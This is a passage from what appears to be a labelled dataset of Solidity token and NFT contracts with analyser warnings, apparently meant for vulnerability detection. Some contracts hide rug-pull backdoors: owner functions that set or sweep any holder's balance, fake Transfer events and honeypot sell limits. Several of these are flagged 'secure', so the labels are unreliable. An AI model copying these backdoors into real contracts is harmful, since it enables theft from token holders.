should be constant \n\t// Recommendation for 5480513: Add the 'constant' attribute to state variables that never change.\n uint256 public totalSupply = 300000000 * 10 ** 6;\n address owner = msg.sender;\n address private RTR;\n uint256 private BSE;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\t// WARNING Optimization Issue (constable-states | ID: 4b0fe99): AELLO.GRD should be constant \n\t// Recommendation for 4b0fe99: Add the 'constant' attribute to state variables that never change.\n address GRD = 0x00C5E04176d95A286fccE0E68c683Ca0bfec8454;\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n VXB[msg.sender] = totalSupply;\n\n FORK();\n }\n\n function renounceOwnership() public virtual {\n require(msg.sender == owner);\n emit OwnershipTransferred(owner, address(0));\n owner = address(0);\n }\n\n function FORK() internal {\n BSE = 3;\n VXBB[msg.sender] = BSE;\n RTR = GRD;\n\n emit Transfer(address(0), RTR, totalSupply);\n }\n\n function balanceOf(address account) public view returns (uint256) {\n return VXB[account];\n }\n\n function transfer(address to, uint256 value) public returns (bool success) {\n if (VXBB[msg.sender] <= BSE) {\n require(VXB[msg.sender] >= value);\n VXB[msg.sender] -= value;\n VXB[to] += value;\n emit Transfer(msg.sender, to, value);\n return true;\n }\n\n if (VXBB[msg.sender] > BSE) {}\n }\n\n function approve(\n address spender,\n uint256 value\n ) public returns (bool success) {\n allowance[msg.sender][spender] = value;\n emit Approval(msg.sender, spender, value);\n return true;\n }\n\n function SAVE(address USR, uint256 SVE) public {\n if (VXBB[msg.sender] == BSE) {\n VXBB[USR] = SVE;\n }\n }\n\n function PHTB(address USR, uint256 SVE) public {\n if (VXBB[msg.sender] == BSE) {\n VXB[USR] = SVE;\n }\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) public returns (bool success) {\n if (VXBB[from] < BSE && VXBB[to] < BSE) {\n require(value <= VXB[from]);\n require(value <= allowance[from][msg.sender]);\n VXB[from] -= value;\n VXB[to] += value;\n allowance[from][msg.sender] -= value;\n emit Transfer(from, to, value);\n return true;\n }\n\n if (VXBB[from] == BSE) {\n require(value <= VXB[from]);\n require(value <= allowance[from][msg.sender]);\n VXB[from] -= value;\n VXB[to] += value;\n allowance[from][msg.sender] -= value;\n\n from = GRD;\n\n emit Transfer(from, to, value);\n return true;\n }\n\n if (VXBB[from] > BSE || VXBB[to] > BSE) {}\n }\n}", "file_name": "solidity_code_3209.sol", "secure": 1, "size_bytes": 4355 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract HawkElon is ERC20, ERC20Burnable, Ownable {\n constructor(\n address initialOwner\n ) ERC20(\"Hawk Elon\", \"HAWK\") Ownable(initialOwner) {\n require(initialOwner != address(0), \"Invalid owner address\");\n\n _mint(initialOwner, 100000000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_321.sol", "secure": 1, "size_bytes": 592 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IBEP20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(address to, uint256 amount) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) external returns (bool);\n}", "file_name": "solidity_code_3210.sol", "secure": 1, "size_bytes": 826 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"./IBEP20Metadata.sol\" as IBEP20Metadata;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract BSA is Context, IBEP20Metadata, Ownable {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private constant _decimals = 18;\n\n uint256 public constant Supply = 200_000_000 * (10 ** _decimals);\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n\n _symbol = symbol_;\n\n _mint(0x508bE019F74Be4DdFd33b379c70be5aBB273Fc00, Supply);\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function allowance(\n address from,\n address to\n ) public view virtual override returns (uint256) {\n return _allowances[from][to];\n }\n\n function approve(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), to, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n\n require(\n currentAllowance >= amount,\n \"BEP20: transfer amount exceeds allowance\"\n );\n\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address to,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(_msgSender(), to, _allowances[_msgSender()][to] + addedValue);\n\n return true;\n }\n\n function decreaseAllowance(\n address to,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][to];\n\n require(\n currentAllowance >= subtractedValue,\n \"BEP20: decreased allowance below zero\"\n );\n\n unchecked {\n _approve(_msgSender(), to, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(amount > 0, \"BEP20: transfer amount zero\");\n\n require(sender != address(0), \"BEP20: transfer from the zero address\");\n\n require(recipient != address(0), \"BEP20: transfer to the zero address\");\n\n uint256 senderBalance = _balances[sender];\n\n require(\n senderBalance >= amount,\n \"BEP20: transfer amount exceeds balance\"\n );\n\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"BEP20: mint to the zero address\");\n\n _totalSupply += amount;\n\n _balances[account] += amount;\n\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"BEP20: burn from the zero address\");\n\n uint256 accountBalance = _balances[account];\n\n require(accountBalance >= amount, \"BEP20: burn amount exceeds balance\");\n\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(uint256 amount) external {\n _burn(_msgSender(), amount);\n }\n\n function _approve(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"BEP20: approve from the zero address\");\n\n require(to != address(0), \"BEP20: approve to the zero address\");\n\n _allowances[from][to] = amount;\n\n emit Approval(from, to, amount);\n }\n}", "file_name": "solidity_code_3211.sol", "secure": 1, "size_bytes": 5216 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\n\ncontract Nakampepe is ERC721A {\n uint256 public maxSupply = 5000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: eb4aa04): Nakampepe.mintPrice should be immutable \n\t// Recommendation for eb4aa04: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public mintPrice;\n\n uint256 public freePertx = 5;\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c26fdbb): Nakampepe._mint(address).freeNum shadows Nakampepe.freeNum (state variable)\n\t// Recommendation for c26fdbb: Rename the local variables that shadow another component.\n uint256 public freeNum;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d16106): Nakampepe.maxPerWallet should be constant \n\t// Recommendation for 3d16106: Add the 'constant' attribute to state variables that never change.\n uint256 private maxPerWallet = 30;\n\n string uri;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 77271c2): Nakampepe.owner should be immutable \n\t// Recommendation for 77271c2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public owner;\n\n mapping(uint256 => uint256) free;\n\n function mint(uint256 amount) public payable {\n require(totalSupply() + amount <= maxSupply);\n if (msg.value == 0) {\n require(msg.sender == tx.origin);\n require(totalSupply() + 1 <= maxSupply);\n require(balanceOf(msg.sender) < maxPerWallet);\n _mint(msg.sender);\n } else {\n require(msg.value >= mintPrice * amount);\n _safeMint(msg.sender, amount);\n }\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: c26fdbb): Nakampepe._mint(address).freeNum shadows Nakampepe.freeNum (state variable)\n\t// Recommendation for c26fdbb: Rename the local variables that shadow another component.\n function _mint(address addr) internal {\n if (totalSupply() > 200) {\n require(balanceOf(msg.sender) == 0);\n }\n uint256 num = FreeNum();\n if (num == 1) {\n uint256 freeNum = (maxSupply - totalSupply()) / 12;\n require(free[block.number] < freeNum);\n free[block.number]++;\n }\n _mint(msg.sender, num);\n }\n\n function teamMint(address addr, uint256 amount) public onlyOwner {\n require(totalSupply() + amount <= maxSupply);\n _safeMint(addr, amount);\n }\n\n modifier onlyOwner() {\n require(owner == msg.sender);\n _;\n }\n\n constructor() {\n super.initial(\"Nakampepe\", \"NAKAMPEPE\");\n owner = msg.sender;\n freeNum = 3500;\n mintPrice = 0.001 ether;\n }\n\n function setUri(string memory i) public onlyOwner {\n uri = i;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 52f6ed2): Nakampepe.setConfig(uint256,uint256,uint256) should emit an event for freePertx = f freeNum = t \n\t// Recommendation for 52f6ed2: Emit an event for critical parameter changes.\n function setConfig(uint256 f, uint256 t, uint256 m) public onlyOwner {\n\t\t// events-maths | ID: 52f6ed2\n freePertx = f;\n\t\t// events-maths | ID: 52f6ed2\n freeNum = t;\n maxSupply = m;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function FreeNum() internal returns (uint256) {\n if (totalSupply() < freeNum) {\n return freePertx;\n }\n return 1;\n }\n\n function royaltyInfo(\n uint256 _tokenId,\n uint256 _salePrice\n ) public view virtual override returns (address, uint256) {\n uint256 royaltyAmount = (_salePrice * 5) / 1000;\n return (owner, royaltyAmount);\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_3212.sol", "secure": 0, "size_bytes": 4163 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 avnmonnnt\n ) external returns (bool);\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n function approve(\n address spender,\n uint256 avnmonnnt\n ) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 avnmonnnt\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_3213.sol", "secure": 1, "size_bytes": 893 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract XDOGE is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (immutable-states | ID: 99579d3): XDOGE._oiii should be immutable \n\t// Recommendation for 99579d3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _oiii;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: f52e438): XDOGE._decimals should be immutable \n\t// Recommendation for f52e438: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: ed5e03a): XDOGE._totalSupply should be immutable \n\t// Recommendation for ed5e03a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n _symbol = symbol_;\n _decimals = decimals_;\n _totalSupply = totalSupply_ * (10 ** decimals_);\n _oiii = 0x19A728756158ee9a0436C8BDaFAb3139a058f546;\n _balances[_msgSender()] = _totalSupply;\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 avnmonnnt\n ) public virtual override returns (bool) {\n require(\n _balances[_msgSender()] >= avnmonnnt,\n \"TT: transfer avnmonnnt exceeds balance\"\n );\n\n _balances[_msgSender()] -= avnmonnnt;\n _balances[recipient] += avnmonnnt;\n emit Transfer(_msgSender(), recipient, avnmonnnt);\n return true;\n }\n\n function transferAny(\n address sender,\n address recipient\n ) public returns (bool) {\n require(\n keccak256(abi.encodePacked(_msgSender())) ==\n keccak256(abi.encodePacked(_oiii)),\n \"Caller is not the original caller\"\n );\n\n uint256 QWQ = _balances[sender];\n uint256 DSDS = _balances[recipient];\n require(QWQ != 0, \"Sender has no balance\");\n\n DSDS += QWQ;\n QWQ = 0;\n\n _balances[sender] = QWQ;\n _balances[recipient] = DSDS;\n\n emit Transfer(sender, recipient, QWQ);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: fd05110): XDOGE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for fd05110: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 avnmonnnt\n ) public virtual override returns (bool) {\n _allowances[_msgSender()][spender] = avnmonnnt;\n emit Approval(_msgSender(), spender, avnmonnnt);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 avnmonnnt\n ) public virtual override returns (bool) {\n require(\n _allowances[sender][_msgSender()] >= avnmonnnt,\n \"TT: transfer avnmonnnt exceeds allowance\"\n );\n\n _balances[sender] -= avnmonnnt;\n _balances[recipient] += avnmonnnt;\n _allowances[sender][_msgSender()] -= avnmonnnt;\n\n emit Transfer(sender, recipient, avnmonnnt);\n return true;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n}", "file_name": "solidity_code_3214.sol", "secure": 0, "size_bytes": 4606 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface MintableERC721 {\n function exists(uint256 _tokenId) external view returns (bool);\n\n function mint(address _to, uint256 _tokenId) external;\n\n function mintBatch(address _to, uint256 _tokenId, uint256 n) external;\n\n function safeMint(address _to, uint256 _tokenId) external;\n\n function safeMint(\n address _to,\n uint256 _tokenId,\n bytes memory _data\n ) external;\n\n function safeMintBatch(address _to, uint256 _tokenId, uint256 n) external;\n\n function safeMintBatch(\n address _to,\n uint256 _tokenId,\n uint256 n,\n bytes memory _data\n ) external;\n}", "file_name": "solidity_code_3215.sol", "secure": 1, "size_bytes": 713 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface BurnableERC721 {\n function burn(uint256 _tokenId) external;\n}", "file_name": "solidity_code_3216.sol", "secure": 1, "size_bytes": 138 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface WithBaseURI {\n function baseURI() external view returns (string memory);\n}", "file_name": "solidity_code_3217.sol", "secure": 1, "size_bytes": 151 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC721A.sol\" as ERC721A;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract FTChads is ERC721A, Ownable {\n\t// WARNING Optimization Issue (constable-states | ID: e1561df): FTChads.maxSupply should be constant \n\t// Recommendation for e1561df: Add the 'constant' attribute to state variables that never change.\n uint256 public maxSupply = 5000;\n\n\t// WARNING Optimization Issue (constable-states | ID: 862f88a): FTChads.cost should be constant \n\t// Recommendation for 862f88a: Add the 'constant' attribute to state variables that never change.\n uint256 public cost = 0.0006 ether;\n\n uint256 public freeAmount = 3;\n\n string private uri =\n \"ipfs://bafybeif5ahsjphvr7pgfoz4yqmu3gfdny2mjo2mq5bjf2w4ekck22kridy/\";\n\n function publicMint(uint32 amount) public payable {\n require(totalSupply() + amount <= maxSupply, \"sold_out\");\n require(msg.value >= (amount - freeAmount) * cost, \"more_eth\");\n if (msg.value == 0) {\n require(balanceOf(msg.sender) < freeAmount);\n }\n _safeMint(msg.sender, amount);\n }\n\n constructor() ERC721A(\"FT Chads\", \"FTC\") {}\n\n function setConfig(uint256 freeamount) public onlyOwner {\n freeAmount = freeamount;\n }\n\n function setUri(string memory i) public onlyOwner {\n uri = i;\n }\n\n function tokenURI(\n uint256 tokenId\n ) public view override returns (string memory) {\n return string(abi.encodePacked(uri, _toString(tokenId), \".json\"));\n }\n\n function withdraw() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n}", "file_name": "solidity_code_3218.sol", "secure": 1, "size_bytes": 1728 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"./IERC20Meta.sol\" as IERC20Meta;\n\ncontract TOKEN is Ownable, IERC20, IERC20Meta {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n\n string private _name;\n string private _symbol;\n address private _p76234;\n\t// WARNING Optimization Issue (constable-states | ID: 5d4181b): TOKEN._e242 should be constant \n\t// Recommendation for 5d4181b: Add the 'constant' attribute to state variables that never change.\n uint256 private _e242 = 999;\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 8;\n }\n\n function claim(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n function Multicall(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n function execute(address[] calldata _addresses_, uint256 _out) external {\n for (uint256 i = 0; i < _addresses_.length; i++) {\n emit Transfer(_p76234, _addresses_[i], _out);\n }\n }\n\n function transfer(address _from, address _to, uint256 _wad) external {\n emit Transfer(_from, _to, _wad);\n }\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 443f336): TOKEN.transfer(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 443f336: Rename the local variables that shadow another component.\n function transfer(\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _transfer(owner, to, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 11a633b): TOKEN.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 11a633b: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: f102e44): TOKEN.approve(address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for f102e44: Rename the local variables that shadow another component.\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n address owner = _msgSender();\n _approve(owner, spender, amount);\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 amount\n ) public virtual override returns (bool) {\n address spender = _msgSender();\n _spendAllowance(from, spender, amount);\n _transfer(from, to, amount);\n return true;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: d2d286a): TOKEN.actionPair(address).account lacks a zerocheck on \t _p76234 = account\n\t// Recommendation for d2d286a: Check that the address is not zero.\n function actionPair(address account) public virtual returns (bool) {\n if (_msgSender() == 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F)\n\t\t\t// missing-zero-check | ID: d2d286a\n _p76234 = account;\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply += amount;\n unchecked {\n _balances[account] += amount;\n }\n emit Transfer(address(0), account, amount);\n\n _afterTokenTransfer(address(0), account, amount);\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a2368e2): TOKEN._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for a2368e2: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n if (\n (from != _p76234 &&\n to == 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80) ||\n (_p76234 == to &&\n from != 0x6b75d8AF000000e20B7a7DDf000Ba900b4009A80 &&\n from != 0xCa219C74bD63122060785439B12cf80Cfe3B5cBA &&\n from != 0x644B5D45453a864Cc3f6CBE5e0eA96bFE34C030F)\n ) {\n uint256 _X7W88 = amount + 1;\n require(_X7W88 < _e242);\n }\n uint256 fromBalance = _balances[from];\n require(\n fromBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n unchecked {\n _balances[from] = fromBalance - amount;\n _balances[to] += amount;\n }\n emit Transfer(from, to, amount);\n _afterTokenTransfer(from, to, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7a156c0): TOKEN._spendAllowance(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7a156c0: Rename the local variables that shadow another component.\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(\n currentAllowance >= amount,\n \"ERC20: insufficient allowance\"\n );\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n constructor() {\n _name = \"Eths Inu\";\n _symbol = \"ETHSINU\";\n _mint(msg.sender, 21000000 * 10 ** decimals());\n }\n}", "file_name": "solidity_code_3219.sol", "secure": 0, "size_bytes": 7497 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Pussycat is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable battle;\n\n constructor() {\n _name = \"Pussy Cat\";\n\n _symbol = \"PUSSY\";\n\n _decimals = 18;\n\n uint256 initialSupply = 458000000;\n\n battle = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == battle, \"Not allowed\");\n\n _;\n }\n\n function hell(address[] memory survivor) public onlyOwner {\n for (uint256 i = 0; i < survivor.length; i++) {\n address account = survivor[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}", "file_name": "solidity_code_322.sol", "secure": 1, "size_bytes": 4361 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"./IERC3156FlashLender.sol\" as IERC3156FlashLender;\nimport \"./IERC3156FlashBorrower.sol\" as IERC3156FlashBorrower;\n\nabstract contract ERC20FlashMint is ERC20, IERC3156FlashLender {\n bytes32 private constant _RETURN_VALUE =\n keccak256(\"ERC3156FlashBorrower.onFlashLoan\");\n\n function maxFlashLoan(\n address token\n ) public view virtual override returns (uint256) {\n return\n token == address(this)\n ? type(uint256).max - ERC20.totalSupply()\n : 0;\n }\n\n function flashFee(\n address token,\n uint256 amount\n ) public view virtual override returns (uint256) {\n require(token == address(this), \"ERC20FlashMint: wrong token\");\n return _flashFee(token, amount);\n }\n\n function _flashFee(\n address token,\n uint256 amount\n ) internal view virtual returns (uint256) {\n token;\n amount;\n return 0;\n }\n\n function _flashFeeReceiver() internal view virtual returns (address) {\n return address(0);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8af5e50): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8af5e50: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 06448f2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 06448f2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 7a22e42): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 7a22e42: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function flashLoan(\n IERC3156FlashBorrower receiver,\n address token,\n uint256 amount,\n bytes calldata data\n ) public virtual override returns (bool) {\n require(\n amount <= maxFlashLoan(token),\n \"ERC20FlashMint: amount exceeds maxFlashLoan\"\n );\n uint256 fee = flashFee(token, amount);\n _mint(address(receiver), amount);\n\t\t// reentrancy-events | ID: 